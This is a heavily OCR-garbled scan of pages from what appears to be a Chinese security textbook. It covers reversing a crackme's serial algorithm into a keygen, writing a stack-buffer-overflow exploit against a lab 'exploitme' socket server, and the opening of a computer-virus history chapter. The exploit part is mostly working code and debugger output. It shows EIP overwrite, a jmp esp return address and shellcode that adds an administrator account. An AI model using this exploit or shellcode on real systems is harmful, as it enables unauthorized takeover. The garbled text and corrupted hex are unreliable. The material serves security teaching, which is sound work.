88481D8A| jmp dword ptr ds:[<&MFC42.H3897>] (#1135 CPU JE1E

v

E8-43 TS
SR BRANBE A calliEA), 487 B IEACHD 7] 40 7E 28 24  calliB 1) K T I 2 5% E 7 51 5 11

R
KENHEPI SR G, RAFETEAL LD g T W, wEs-44prs.

Mk [HEX iR FiC5

8840815C5|., EB 09 jmp short Brad_Sob.@884815D8
~8B55 EB@ mov edx,dword ptr ss:[ebp-8x28]

a84B815CA 83c2 o1 add edx,8x1

884815CD 8955 E@ mov dword ptr ss:[ebp-8x28],edx

aeuB815Dp0 8BuS EA mov eax,dword ptr ss:[ebp-8x20]

88481503 3B4S E4 cmp eax,dword ptr ss:[ebp-8x1C]

004081506 || 7D 42 jge short Brad_Sob.@8648161A

a84815D8 8Bu4D EB mov ecx,dword ptr ss:[ebp-8x20]
51 push ecx

ae4a15DCc 8D4D EC lea ecx,dword ptr ss:[ebp-8x14]

884815DF E8 1CB3 0000 call Brad_Sob.06481980

004815EL BFBED® movsx edx,al

8B45 F@ mou eax,dword ptr ss:i[ebp-0x18]

B4 B15ER a3c2 add eax,edx

084815EC 8945 FO mov dword ptr ss:[ebp-8x18],eax

884815EF 8Bu4D EB mov ecx,dword ptr ss:[ebp-8x28]

084815F2 C1E1 88 shl ecx,8x8

884B815F5 8B5S F@ mov edx,dword ptr ss:[ebp-8x18]

004015F8 3301 Xor edx,ecx

084015FA 8955 FO mov duword ptr ss:[ebp-8x18],edx

084815FD 8B45 EB mov eax,dword ptr ss:i[ebp-8x28]

084081600 83C0 M add eax,8x1

88481603 8B4D EX mov ecx,dword ptr ss:[ebp-8x1C]

804081686 BFAF4D EB imul ecx,dword ptr ss:[ebp-8x20]

084816 0A F7D1 not ecx

AB48166C| | BFAFCA imul eax,ecx

084016 BF 8B55 F@ mov edx,dword ptr ss:[ebp-8x18]

apuB1612 BFAFDB imul edx,eax

08481615 8955 F@ mov dword ptr ss:[ebp-8x18],edx

ae4e1618 |- EB AD jmp short Brad_Sob.@884815C7

ae4a161A 8B4S FO mov eax,dword ptr ss:[ebp-8x18]

E8-44 Hrm{rE
T B B ARG T U R, FR R AR Ko P55, e i SR I A i A
FERVHE (CHSERM XA , FrCAnr DN U TR E SR, ARG R 2
(tbanix B Fm A Zabedefg, Z PFTPAEIXFFEUE AN T R BIFE B AW E 2 FIRANEGAL
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=%8$ FERAERERS Z:/m /////////éC

TP 5 HdiCheckiZHIiEREFHT T, /AU )5 7T LA BIX L SC A B (LIEI8-45)

Hoak  [nEx #R Bl {EHE
004915C5 |, EB 89 jmp short Brad_Sob.0884815D8

~8B55 E@ mov edx,dword ptr ss:[ebp-0x28]
G64615CA 83cC2 61 add edx, 6x1
6O4A15CD| | 8955 E@ nov dword ptr ss:[ebp-0x20],edx [ebp-8x201{F7F LEITE FI R #4
66461500 8B4S EB mov eax,dword ptr ss:[ebp-8x28]
BOLB15D3| | 3B4S Eh cmp eax,dword ptr ss:[ebp-8x1C] [ebp-8x1C]{R7Fname 2,
ooai5D6 |, | 7D 42 jge short Brad_Sob.0848161A
804015D8 8B4D EB mov ecx,dword ptr ss:[ebp-8x28]

51 push ecx
864615DC 8DuD EC lea ecx,dword ptr ss:[ebp-8x14]
ae4e15DF E8 1CO30008 call Brad_Sob.00401900
B04B15EL BFBEDB movs® edx,al

8B4S FO nov eax,dword ptr ss:[ebp-8x10] [ebp-8x101{%5F BET T E ST/ /A5 57 7 0x81276345

B04015ER #3c2 add eax,edx
B04015EC 8945 FBO mov dword ptr ss:[ebp-8x18],eax
G04615EF 8B4D EB mov ecx,dword ptr ss:[ebp-8x28]
Bo4P15F2 C1E1 08 shl ecx,Bx8
004015F5| | 8B55 FB@ nov edx,dword ptr ss:[ebp-0x18]
BO4B15F8| | 33D1 XOr edx,ecx
a840815FA 8955 FO mov dword ptr ss:[ebp-8x18],edx
8B4B815FD 8BL45 EBO nov eax,dword ptr ss:[ebp-0x20]
do4B16068 83CH 81 add eax,@8x1
00401603 8B4D E4 mov ecx,dword ptr ss:[ebp-8x1C]
00401606 | OFAF4D EO imul ecx,dword ptr ss:[ebp-0x20]
0040160A| | F7D1 not ecx
apam1606c BFAFC1 imul eax,ecx
0e48160F| | 8B55 FO mov edx,dword ptr ss:[ebp-0x18]
Be4B1612 BFAFDB imul edx,eax
884681615 8955 FO mov dword ptr ss:[ebp-8x18],edx
60461618~ -EB AD jmp short Brad_Sob.B8B84815C7
0eL0161n| SBLS FB nov_eax.dword ptr ss:[ebp-0x18]

E8-45 XBLEIH
B, RiE0 M RHaEx AR HE PR EAARE GXEEFIEFEEH
C/CHREmBFEMAML, EBC/CHHRMT asmiX— K8, B CLRT LAy (6 i A I 4 ok 5
W, WT wmETAHLEIAER) .

char name[100]; // iRRFHAMIname
long key; /1 BRGRFITERRNES
int len; //FB¥FEFEnameKE (MXNFEIREAXECRNS —LFRNED )
std::cin>>name>>len;
key=2166842181; /I HkeyMRHIEE0x81276345% KA+ HEH
for (int i=0;i<len;i++)
{
char m; /| RREFSMTENF
m=name [i];
_asm
{
movsx edx,m
mov eax, key
add eax,edx
mov key,eax

mov ecx, 1

shl ecx, 0x8
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AN mEsmemAEn

mov edx, key
Xor edx,ecx
mov key,edx
mov eax, 1l
add eax, 0x1
mov ecx, lex
imul ecx,i
not ecx

imul eax,ecx
mov edx, key
imul edx,eax

mov key,edx

}

std: :cout<<key;

W TR AT LA B, i keyiS AN R B A R E T, " UURTEH R EJE — IR ORAFR)
FRBAL RIS RIEAE S OX R AR K names212345678) , 45 R U1 E8-46f7.

-1786453832 1)+ 7N BEHIXU T HIME B Z9584E0BS,  FT LABIX B vH 52 IE#T -

ATt 2V HR G RA R IEF RV EIGNE, ZKEEFS UL WARR, WES-47fR.

EB AD jmp short Brad_Sob.864815C7
8B4S FO mov eax,dword ptr ss:[ebp-8x18]
L1] push eax AT &S
68 SL404000 push Brad_3ob.8848405Y ASCII "%lu”
8D4D DC lea ecx,dword ptr ss:[ebp-Bx24]
1 push ecx
ES 520708000 call <jmp.&HFC42.#2818> FEiX Feax,ecxpi T
83C4 6C add esp,8zC
804D DC lea ecx,dword ptr ss:[ebp-8x24]
EB 790820888 call Brad_Sob.884818B8
e push eax
804D ES lea ecx,duord ptr ss:[ebp-8x18]
FR ROO2?A000 call Rrad_Soh_0BuB18CA
85CH test eax,eax

-1 7 o . BF85 FFPOOA8A | jnz Brad_Sob.0o481747

1786453832, 8D8D ACFEFFFF |lea ecx,duord ptr ss:[m\
E% 1906700080 call <jmp.&MFC42.#540> %%&jg‘g
G645 FC 03 mou byte ptr ss:[ebp-8xz4],0x3
6A 66 push Bx66
N .
E8-46 MEXEMIL ( R ) E8-47 HEFIISFNRE

EPAT SEcall<jmp. &MFC42 #2818>1F A1) J5 , ecxMeax (A B T, 1M1 Hecxfrfifi (1)
{8 2 MR B A name of B (1) IE B %5 6% . B3 G AT LR 52 call<ymp. &MEFC42.#28 18> 4 [F AR AL 7
HH TG,

LoD M cal IR A T LLE K, X2&— A MFCHIEM R L, K A6 D
MFC42 DLLIYFF 53, BTLAODE AT % N i B 804 & R e Ao

X B AT LM# FIIDA Pro B3 FETRE ISR (WA LF#E pdb ) SRELE6 MY
BRI, ECrackMed2IIDA Pror, Bk4% 20x00401642(17 &, HIEI8-48/7 .

b AT WX AN B 3R CString: - Format B, A543 Jll 2 call §1 34> push [T AT 24

(5653 pushf 2R [BIHLHE, VC 6.0%%1F H HIFE 7 H R 50 e F ecx frfr bk, AR
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HEFRD
mov eax, [ebp+var_18]
push eax
push offset alLu 5 "%lu”
lea ecx, [ebp+var_24]
push eCx
call ?Format@CYtring@RAQAAXPBDZZ ; CString::Format{char const =,___)
add esp, BOCeh
lea ecx, [ebp+var_24]
call unknown_libname_7 ; Microsoft UisualC 2-18/net runtime
5 HFC 3.1-18.8 32bit
push eax
lea ecx, [ebp+var 18]
call sub_4618CH
test feax, eax
jnz loc_L4@1747

E8-48 mMFLFASKEHREERE

HSEH A AMPCAL AR F i Wiz 5 O B Rcal I SCHLFI DhEE, FE AcallfT EA T —

MEEZE “%lhn” Z16HHIE IR,
T, RS Fasinan .

CString str;
str.Format ( T ("%1lu"), key)

std:wcout<<LPCTSTR(str) ;

AR5 R E8-49FT 7R

0‘ Correct!!, Way To Go.

12345678

8

2508513464

E8-49 IEEFAHL
aLLER|, B3 T IEWHE, BRI .

8.2.3 ZiESHLA ST exploit

| w= |

B REE K@Y MRS, WHRCIES. ILRIES . CMDr&E
EEAE, REEMMRFIZIEEI T, HEE GRS, &IF A B AR SR

exploiti .

BEA MHAET MAREANER, SRR - ANMBRS . KXEE, iz
T EEME R S HIHE, SAEFSFEIPITR —NmD, FEXANm DR T R E TR -

PATIZA P28 IR 55 B HA T ALUACRIAZ AR R, sl 23389,

445X iy O —FF, HT

EANEFFAFAAERWT, (EFATAEXADER, EEVITEENSE T T&FF (LA
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8-50) .

Documents and Settings\Administrator\S[i1A

exploit target server 1.8

E8-50 ServerfZFiEfTIER
FEFFRIEITEKRT, BHER - MERIMNERSE, BREMERS, 7TLLEEWN
CTFRUE L, #ECMD T Hinetstat -an5 5 45 5 W& 8-51 175 o

C:\Documents and Settings“Administrator>netstat —an

Active Connections

Proto Local Adder

TCP h.0.8.8:1 !
TCP A.A.8.8: a.08.8.
TCP 77?7 N LISTEMING
E8-51 Serverf2EFiEfTRiHOKMR
WARFEF TR T 7777380 1, XA 1IEAE W8 W ) iy 1 JH: Sl 23X AN IE RIS 4T 1 M 45 AR 45 T
B I REEXNMEFNDIGE, L EMRICH—T, EEEFZ2WMIZEITR. FAIDA
ProfT T F, BHEBHFSEEHEHE (WLES-52) .

pt _ cdecl main{int argc, const char =**argv, const char =xenup)

SOCKET w3; // eax@1

SOCKET vhk; /f ebp@1

volid =u5; Jf eax@2

void =v63; // eax@s

SOCKET u7; 2/ ebx@6

void =u8; // eax@6

void =w9; f/ eaxB6

void =u18; // eaxB6

int vi1; // esi@7y

void =v12; // eax@8

void =uik; // eax@11

struct sockaddr name; /f [sp+dh] [bp-3Buh]Eh&
struct sockaddr addr; // [sp+14h] [bp-3Akh]@E6
char v17; /7 [5p+2Bh] [bp-39Bh]E7

struct WSAData WSAData; /7 [sp+228h] [bp-190h]E1

wsAStartup(®x161u, &USAData); |
u3 = socket{(2, 1, 0);
vl = v3;
if ( (signed int)vd < 0 )
{
ostreamn_ operator_ (v3);
ostream_ operator_ (“socket creating errort?");
u5 = (void =)ostream__operator_ (18);
sub_&812BB{v5, (void { cdecl =){ DWORD))sub_LB12D8);
exit(1);
}
#( WORD =)&Bname.Sa_data[2] = 2]
#( WORD =)Bname.sa_data[#] = htons(8x1E61u);
*{ DWORD =)&name.sa_data[6] = htonl(8);
if ( bind(vl, (struct sockaddr *){{char *)&name + 4), 156) )
{
ostrean__operator__ ("binding stream socket errort?™);
v = {void =)ostream__operator_ (18);

E8-52 ServeriZfF miC4miA{LH3
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MES-52rTAEF], HSmh 2 % M Socket N EHFIFATAC M, FIWSAStartup¥]44
t, REWET —%bind. listen® X TP L IENT, {HR2IXEFECE —LE A RE (L
El8-53) .

18-531X Fhtons 5 HIJ0x1E61u, U0 NG 7Sk il el kIt 27777, HSEiXH
FR T i D R ], A 24T CiE S T sockaddrsin port#fE (LEI8-54) .

{
memset(&v17, 6, 0x2086u);
®(_ WORD =)&name.sa_data[4] = htons{8x1E61u); v11 = recu{u7, &U17, 512, 8);
#( DWORD =)&name.sa data[6] = htonl{@); if (vi1 < B8)
E8-53 ServerigF RiCHED T E8-54 ServeriZF RiCHESHT

EEEUEFrecv T, XZESocket FIET B AEEN— AR, EBMSDNAH HIH
R, VIREEFZLK, vITREBWMEA, SR2EBA KD, ZIAMERFSRIE R A5
R, B FRERE RN T (WES-55) .

sub_401000:X R ECFI A Tv17 X444l HRERIEXPMRBEEEMRD (LE--56) .

void *__cdecl sub_L@1000{const char =al)
{

void =u2; // eax@1
void =u3; // eax@1
void =uk; // eax@1
char v5; /7 [sp+8h] [bp-CBh]E@1

}
sub_401008{&u17); Strepy(bus, al);
El8-55 ServerfZFF RiLH5#T [E18-56 Serverf2 B iE i E i

B—ANEFINH Rstuepy 3, FIUAREAHIRIAR ETEXE, RAZHEEAEER
5 X strepy U, BDh K2 B d i A S R AETEX AN AU . BB E JHH AR buff
A/ A8Byte, MEHM Falli K DHEFHTTHEE, MSERkEH, XERZH
@, X B, AR EPOCERFEAE, AN, BEE T -AH5X4
IP, g DHBEAR, R RE— MR R BXATPAE AN A L, FAR2 7 55 3 IR
I SLHAFAE . EEH SIETF R F L ER-5THR.

TELOF T Uy
H
if(WSAStartup(HAKEWORD(2,2),&wsaData))
{
printf(“Socket InitZre);
return 8;
H
Target_IP = argu[1];
Target_Port = argu[2];
target_socket.sin_family = AF_INET;
target_socket.sin_addr.S_un.S_addr = inet_addr{Target_IP);
target_socket.sin_port = htons{atoi{Target_Port));
s = socket(AF_INET,SOCK_STREAM,0); //iZEES
if(connect(s,(struct sockaddr#)&target_socket,sizeof(target_socket))<0)//iE 7 5 BFrIrilmm R

printf("EREM¢);
closesocket(s);
UsACleanup();

return 01

¥

printe(EESII);

memset(Exploit_buffer,'A' ,sizeof(Exploit_buffer));//i&exploit_bufferfif{E 3
send(s,Exploit_buffer,sizeof(Exploit_buffer),NULL);

printf{"send ok\n");

closesocket(s);

WSACleanup();
return 83

B8-57 #giEClienti2fF
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AN BES RS AR

—
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HBfg, @@ TEEFS HRIPuw DL %R, R)5HEIdmemsetst—A4
1024byte K/MPJExploit bufferf{fH, 1X“Exploit bufferff /& Z K IEMFR/F 8, HEiEid
send R HCK AR R RIS £, EREZEMAMSRIEXNFAI R FEERW—T, f£E
ML AT LA 55 40— B L XA BT IE R, NS Gpingi@gh vl LA, XHA TH
3, sEEER127.0.0.1 41 %5%, WEIS-58F7R.

C:“Documents and Settings™Administrator>"C:\Program Files“Microsoft Uisual Studi
o “MyProjects exploitmeDebugsexploitme.exe" 127.8.8.1 7777

o

E8-58 Clientf2frizillis
MEB-58TI LLF B XA F R HEERY, BAFHFEEERmEAETH A (WE
8-59) , B3 EHH WinDbg (WLFE8-60) .

exploit target server 1.8

received:
ARARARARAAARARAAARAAAAARARARAAARAARAAAAARARARAAAAAAAAAARAAARAAARAAARAAARAARAARAARAARARAR
AAAAAAARARAAAARAARARAAAAAAAAAARARARAAAAAAAAAAARAAAAAARAAARAAAAARARAAAAAARAAAAAAAA

AAAAAAARAAARAARAAAAAAAAAAAARARARAAAAAAAAAAAAAARAAARAAAAAARARAAARAAAAAAAAAAAAAAAA
AAARAAAAAAAAAAARAAAAAAAAAAAAAARARAAAAAAAARAAAAAAAAAAARARAAAAARARARAAAAAAAAARAAAAAAAARA
AAARAAAARAAAARAARAAAAARAAAAAAAAAAAAAAAAAARAAAAAAAAARAARARAARARARARAAAAAARAAAAAAAAAAAA
AARAARAARAARAAARAAAARARAARAARARAARARAARAARAARAARAAARAARAAARAARAARAAARARARAARAARAARARAAARARAAAARAAAA
AARAARAARAAARAARARAARARARAARRARARAGEE®inSock 2.8

[E18-59 ServeriZ FFEW B 1T &

L T L FlLAULOULL s lduauuu L AWLADOUWD SODYELRID S S WEILLU DL . UL L

(53c.30c): Access wiolation — code c0000005 (11!l =econd chance |11}
2ax=0040%9a68 ebx=00000080 ecx=00410e20 =dz=00000000 e=1=00000200 edi=0012fdf4
=2ip=41414141 e=p=0012fbbc ebp=00000064 iopl=0 nv up ei pl nz na pe nc
-==001b ===0023 d==0023 e==0023 f{==003b g==0000 efl=00000206
41414141 7?7 7

E8-60 WinDbgBREsiR A% (i B

BUOmK R T —KHBRA, BIFRATHIE I Exploit buffer [N %E, [AIWinDbg Bk T
Hk, FEFBET . EIPFEM41414141, X2 — R BRI AL, f41iE2ARASCITES
CEZSHERD , IR ERAEZE, BATEAK T AR BB A A (LES-61) .

FUETT LA, B AR ST DU R TR i A %, 1R) 8 R B0/ sub_401000.
B Mok w e AR, NS T b, AT LLIE A A i R (R kb ik
M 78 dishellcode, XH A ZE THEMKFHEAKIERE, HLm2HmemoryH NATFHE i
(I, AR 2 HTesp i HibE0012fbb8 LA K F4F SR iR IR (A7 B R T H K ER T L £ D,
B Ja AT AN TE I IR AL B AE F R 2014 F, Wt R BITIHRIIvIT201]1 T84 H T 1)
W, FRBPOCH HARALE SR A2 FF, SR 5 U I 2 5 78 A b 7 e fik & (P&
8-62T /) .
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0:000> kb

ChildEBP Retiddr Args to Child

WARNING: Frame IP not in anv known module. Following frames mav be wrong.
0012fbb8 41414141 41414141 41414141 41414141 0O=d41414141
0012fbbc 41414141 41414141 41414141 41414141 0=41414141
0012fbc0 41414141 41414141 41414141 41414141 0=41414141
0012fbc4 41414141 41414141 41414141 41414141 0=41414141
0012fbc8 41414141 41414141 41414141 41414141 0=41414141
0012fbcc 41414141 41414141 41414141 41414141 0=41414141
0012fbd0 41414141 41414141 41414141 41414141 0=x41414141
0012fbhd4 41414141 41414141 41414141 41414141 0=41414141
0012fbds 41414141 41414141 41414141 41414141 0=41414141
0012fbdc 41414141 41414141 41414141 41414141 0=41414141
0012fbe0 41414141 41414141 41414141 41414141 0=41414141
0012fbh=d4 41414141 41414141 41414141 41414141 0=41414141
0012fbe=8 41414141 41414141 41414141 41414141 D=41414141
0012fbec 41414141 41414141 41414141 41414141 D=41414141
0012fbf0 41414141 41414141 41414141 41414141 0=41414141
0012fhf4 41414141 41414141 41414141 41414141 0O=41414141
0012fbfd 41414141 41414141 41414141 41414141 0O=41414141
0012fbfc 41414141 41414141 41414141 41414141 0O=41414141
0012fcO0 41414141 41414141 41414141 41414141 O=d41414141
0012f=04 41414141 41414141 41414141 41414141 D=41414141

E8-61 WinDbg&E iRt % i HEF= E1FER

77145 bueFIE G s shellcode
memset(Exploit_buffer,B,sizeof(Exploit_buffer));//i5exploit huFFEFHRﬁﬁjhn
For{i=0;i<208;i++)

{

Exploit_buffer[i]="A";
H
Exploit_buffer[208]=0%cc;
Exploit_buffer[201]=0xcc;
for(i=202;i<sizeof (Exploit_buffer);i++)
Exploit_buffer[i]="R";

E8-62 MPOCZexploit
iX B Exploit_buffer 1) 5200120147 B ¥ 70 & B ificeee, X B Oxcc & F 4 A 50
BN CccX MASCIIS N A, FoxceBawUERMAE, M E P OB X AR K%k
25, WinDbg Xk T HiK, XIRB/RHIZRER-63F7R.

Modload: /laUUUUU Y1aUsUuUU CoSWIRDOVSN oystend Sswshtcpip.dll

(78c.610): Access wviolation — code 0000005 (!!! =s=econd chance ||
eax=00409a68 ebzx=00000080 ecx=00410220 edz=00000000 e=i=00000200 edi=0012fdf4
eip=4l4lcccc esp=0012fbbc ebp=00000064 iopl=0 nv up ei pl nz na pe nc
cs=001b s===0023 d==0023 es=0023 {s=003b gs=0000 efl=00000206
4ld4lccec 7?7 77

0:000> dd esp

a0 2f ek, A4 41 4141 A144 4141 41414149 A1 414149

E8-63 RETHuiEAIESL
W a@4l41ccecle ? X 5HRMBEG K, HSDp 2Nk A sk H37), siFge
FHIN010203041, BIHEPIEEL T 04030201, F ik, A LAAER H R BN RS T, H
SEECSEE I W E8-64 T 7

iR 1+

<

¥iE 1060
EBP—> ¥iiE 107-200¢
SB[ > ¥HE 201-204¢

E8-64 kil i BtHIIES
SEEERNIAE (LES-6S) .

ChildEBFP RetiAddr Args to Child

WARNING: Frame IP not in any known module. Following frames may be wrong.
0012fbbB 41414141 41414141 41414141 41414141 0Oxdldlcecee

0012fbbe 41414141 41414141 41414141 41414141 041414141

E8-65 HHAR
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AN mEsmemAEn

2 AT DA 5E 4 HU A 52 IX PR exploit BLZ W 5E ik T o 31X B IX ANR [A] M kA& 20 skjmp esp
sk, RJEFrespthif £0012fbbe /5 ) A & S Fe A 1fshellcode (WLEIR-66) , BEAESE ALIX
Kexploit T (MLE|8-67) .

char shellcode[ J="\X31\Rd2\xXb2\x3IO\R6L4ARBDAX 12\ XBD AR5 2\ X BC\X8DAX5E2\ X 1C\xBb\ R 42"
"X B8A\XBbAXT2A\X20\xBb\ X 12\ X8O\ X7 e\ X Bc A X IR TOARF2\ R8P\ xCc 7\ x 03"
UARTBAXICARBDARSTARTBANOIAXC2\ B\ R A\ N2 0\ A1\ X7\ x3 1\ xed\ xBD"
UREIBARAFARBINRCON RSB INXIe A\ RO 7RO\ RO\ xUS\ 75\ F2\kBb\ k7 A"
"VR2UA\ X B1IAXCTARG6AXBD\2c\AX6F\XBD\R7a\ X 1c A\ X B1\xc7\x8b\ 27 c\xaf"
ARFOARBINXCTAROBAXAD\ N33\ X6\ X AT\ ROBV\R2 O\ X U2\ X 72\ X6 F \ 6B\ X2F"
UARBTARBAAR BB OBA RO FART 2\ XTINK2 O\ R OB\ T UAX T2\ x6 1\ x 74\ 68\ 269"
A6V XOPAXTIANROBARZ O\ xB1AXGH\XOA\ROB VXTI 2\ X6 F A\ XTS5\ X7 B\ 68\ x63"
ARG TAROCAROTAROBARTUANZBAXOCAKOF\ROBYK26\ X200\ X6\ X65\ X688\ x4l"
UARBEA K2 0\RZ26AR6B\ RO\ N2\ K2 FARYINKOB KT 2\ X6F \ XD\ X3 I\ 68\ k33"
UAXOPAKZONKAZA KO8\ KA\ N7 2 AKOF A KUD\ROB YLK I BAXO5AKT2A\RZ B\ K68\ X65"
CARTAARZ BNR T SAROBAR2FANOINKZ 0N R6L ROB RO A RTBA A5\ RZ B\ ROB K63
UAEOAAROUNRZeNRBO\ReSARFe AR AdAREINRIINRC O RS DA RS A RFFARATY

El8-66 shellcodefy#yis

77745 buf A {E fRE shellcode
memset{Exploit_buffer,08,5izeof (Exploit_buffer));//i5exploit_bufferlE {§ A
For(i=0;i<2008;i++)
{

Exploit_buffer[i]="RA";
b
Exploit_buffer[2008]=0x12;
Exploit_buffer[281]=0x45;
Exploit_buffer[2682]=0xfa;
Exploit_buffer[2083]=0x7F;
for{i=2p4;i<{sizeof(shellcode);i++)
Exploit_buffer[i]=shellcode[1-204];
for(i=2684+sizeof(shellcode);id{sizeof(Exploit buffer);is+)
Exploit_buffer[i]="A";

E8-67 exploitT2 L
L1 ) shellcode i 73 & 28 # TEexploit-db_L 4k [, HIhfg&7E H A8 L& —A4
% HbroK3n A P, iZH P B Administratorf{ fR . 244K, X~ shellcodeth, AJ DL il I Atk
W1, IEMEHNIA B, Rt N IR Bt 2 S 1245 a7, B T F BB T 7ifad512,
KRN EA R mp espBk#L ik, FIWindows 7 FIR AT LAMER, BiAAK. HEFRES
shellcode, HFshellcode’K/NE194F, RIEIE204F, BARMES12F, A&l 7455 1)
MEND. EERENZZ G, Bl 27m i E8-68F i WA .

> C:\Documents and Settings\Administrator\F2MH\A\A\exploit me A. exe O

exploit target server 1.8

received:
AAAAAAAAAAAAAAAAAAAAAAAARAAAAAAARAAAAARAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAARAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAASE?

E8-68 Serverfiiiexploit
I ASEHH A PIR, nE8-695R.

H A 2% it
& hdministr. .. BHEITE

[ < M=

860 iRiF% & B A MAdministrator & A

— 168 —



_HeE ﬁﬁﬁﬁﬁﬁﬁfﬁﬁ%%%%éﬁ

BroK3nC & HIMETHENH P HIER P 7. 28R, X Eshellcodeid (858 B #ishell |
THPIATIRERFENE, Xshellcode4R'E Fik, AILAFERIEH 5 KFE A,

BIXH, X—&TEexploitse B T o X H & —ANRIBEIFET, WA XA
FREONER, EHETLUEIXAETFIRMA KFK. IR 2R IEE RS, BunihsE
WL LEIE T FE L2 75 7 L R AR S5, 1 A8 9 48 AR 55 A7 AE — N m A2 B T AR A s T
HE 4 BB AT DA L R 3K e AR e e v L ], R R EN . EBE
FREIEE2RNRERETR, BSHZERL LEFRNE. BARMAKiTHEVAFEE
DEP. UACZi, BMfEidth, A L&RERAANMIARRER A& F SR 88l i

B MEEAS TR el LLRNIE, T B SR 3 A A & Fh TR, it
i FIC 4a FICMD iy 4 7T LA T s TR Wil 7F= A2 1, AMBAE F CIE 5 7T BASE sl X exploit ¥ 4
5 TAE, T H{#HPythonFIRuby b fe5¢ Al R ThBE . B SB4P TAE4aA A H s —if
T BT R TE R THE, WA KIS 2] 55T,

BEAEEMERT SR, SHATRRELL AR — AR E, 85— T4F
ITZERNGETE B0, 7£AhEGEE . BHETFNEE, EARAEM —UIREEER
B, MHIRBEAEERITHIEAM R Z A B h .

MRWPIX A IR AEE DI AMEE, SEBET SR8, WREE IO ] 4
M1 IRIRIZIE ST, RS HexploitF2 /577, MIfi 56— IR E P X i i K. 56—,
TREMN AR % . S FE BN VTR TEN A2 E, SR — w2 “BIT” i
2, FNHBSRAEXTRELZAMIIALS. B2, MEEZ¥S). 2L0. BRA
SHARRESEE TAM “WANT” , LikRweb, NA. BaEhaiH Hih, #MEFBEFHFLZE
Mo LIFRERRRIRT A CKRE, REAEEMNEAEHLTE, ZMREARRFALRTLLSE
FIhfE, DETR. F=, SERFFNE. MEBKT BT AZN, SRR ST
CLik B OB R, BFF, HERF.
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AN gEszemis _

KT T OWFONFE TR BPHR, AN R, AFE—4 “R7
BV, WAERZ, &FLEEE, #UEEEMEIL, WREEE OEXE. ot sk
DI B HIRE S o

9.1 ISP A

911 HEWNRENENX

WHEAUREE, ARG G EE T FAURE P P AR BIR T EALD) ek B SdE,
Wyt SEHUER, JFaE B BRI G — A FHTESSRE RS (EE (R EANRIAE T
HHUR B RARERIPEBD) B _T/N\FH) .

WHEHAUREE R — MR B AT, SRR AR R BRI B
BV Rt AR S A MR s R IE . H RN UR B I R IRE ), e PR £ 58,
W EUARBR . WEAURREREIE B B AR FERAR S B, SR BN —
PAREE S —A R P, BRSSO & TR .

schr b, UHEAURESUR NSRBI SOR AT A Y, ER T UL, GBS S e
EREFAES, BRI RGN IR HEE R AR ERE RN TAFE.

gi bRk, WEAURTE AR, FOAER 2Bt ENE S EE R A, i
WHEREAL T ENES, SMEHSTHEIRENES R, ERRAR5HRE
HIRES, BRIV EAHURRERIZHR IR, BT B —E AR, AR THA T
FURRERREL, 478 LA TR SRV, MRS _EERR, AT Lo #r vt LR 5
2 QT HIE HABNIBAT, BETAEEEE NIRRT TR SR ST BN R A&, HEAGEER T
A 2 A R 5 B .

912 HENRSHNEESEE

WA EPUR TR, ARAERLAZEAEHEREER, WA EOIIE N2 EF
205 « 14 « {1 E (John von Neumann) , fh7E19455F3EAC T I ENIAC (Electronic
Numerical Integrator And Calculator) &t A%, FIA TBHE. BHIEGHIEE ., FiEds.
MAMBEHEEPMS, HFHTI99FERERHN—REFEARRIL (AREMK B3IPLER)

(Theory of Self-Reproducing Automata) 4t EVFEFREW TE N f7 AT B IR EHI,
AR v EAUE B R & LLRAE AR IzAT EHI3EE T RSB Al

FE1960F4], JURSER EM = EREFRACHIE S IR T — 1Mk, thgEF4
B “RED R ER” ZRICRE S WS KA TR, RIH TRERREN, tik
I FEAIREFR S AT .

19774+ G » £ » Hi % (Thomas.J.Ryan) MIRIZI/Nii (P-1FHFR) (The
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som mETHE L

Adolescence of P-1) , % HJs B 7E T FENL A LR L HF e 242 ) 1770006 vH LI A
1B, HHEXFRIRR — KA U HEIURRE” .

19834E11 H3H, REBMMAEN%EAEIHEE « BHA (Fred Cohen) , Jak#EA
“HEHURTZR” , TVAXI/750HHN RS, Bl ZUNIXRS FRE Hisir 7 —1
HA BRE S| DhRE, T ENEE RS BERGRINTEF . EEET— AR G#T
TSR, S THrEANURSRSIAERS R, MFIHe « XE#HE  (Len Adleman)
BemB AT ENRE. BRI A5 8%, T1987FEKE T —RESNMIAKE
TR (HFEMRED , R SCE —IRNEIERE X B T EVRE S .

19864, EZENHBEKRGRENHITEN TITHERRGRERE, /%5 THALE
B RN NENL Bz AR B HTEA S (C-Brain) , tHEHR E5E—H6
HAERERXWHHEARNT. ZWTIET TDOSRL F, Ihigm M/ A6k IR 4,
“uzg” F A e A A ]

1987F19894F, #IWDOSERLIMHT (BREEMA. IBMFEME) 7Ett FIHE N
WAT, REWHIT sl B R AT 3 X MstonedFE, 1R A ] B HFR
&—Your PC is now Stoned! LEGALISE MARIJUANA! , RN “KERRE" .

20HA090EAR, BEE Windows R K, Windows R4 PR E&kEE, H
2 44 (1A 19964 11 7 o B A1 1998 4E 1) CTH G 75

I T BRI B O TR A | [ Office M A B4, WMWord. Excel&, — H T FFiEgL
TERFRXHE, P REARFEEMNAEZRSERIT, EREisEEIENT,
& AEfENormal#it b, Jf B BaE b IE A P IE A Office A, & X B E)
F77E T Internet b 1 SCRY HEAT A4 4% -

CIHiRFHEETIMER, EXTWindows 95/98 R 40 8K M 1. CTHYR #%
FEXWin32 &4, BEEXEXH, BTcffms, TRETH43260 (CIHVL2) | 6/
260 (CIHV1.3) |\ BAM26H (CIH V1.4) BiTRME, CEHAEREE, RS0t
LE 34z E i Flash Rom | IBIOSHEAT#EIA, 4B AT A B R4, B FEOHEL
TIEIER B3, 1B1T.

BAE19984F)iK, Happy99MI48uf U f—— 58 21l id InternetE & (MR R LA . %03 BE
WAL s, mEiEiTE, Be LHIAWETEROR, I B nHappy New Year 19991111
PR, DARBLIQOEMRISK, FHT /5 G HHIEIT, THRMAFMIEREER.

BEJSZE19994E3 H, MEMTHREE (Melissa, BIET1998EH R, B F ] LUEL MR4-A%
BRI E) Bk, XEMA LB LIy N T s E . i sot A 3bs
J8 3 22k Important Message From xxx (oo F144) , %5 A Here is that document you
asked for ... don't show anyone else; -) [IREME, — B W AT IFHEE, EARZESCRHH
00 TR AN 5 Ak & B AR, Bh e B P R SR RSO I A B 3% O B SO 11
HE A o

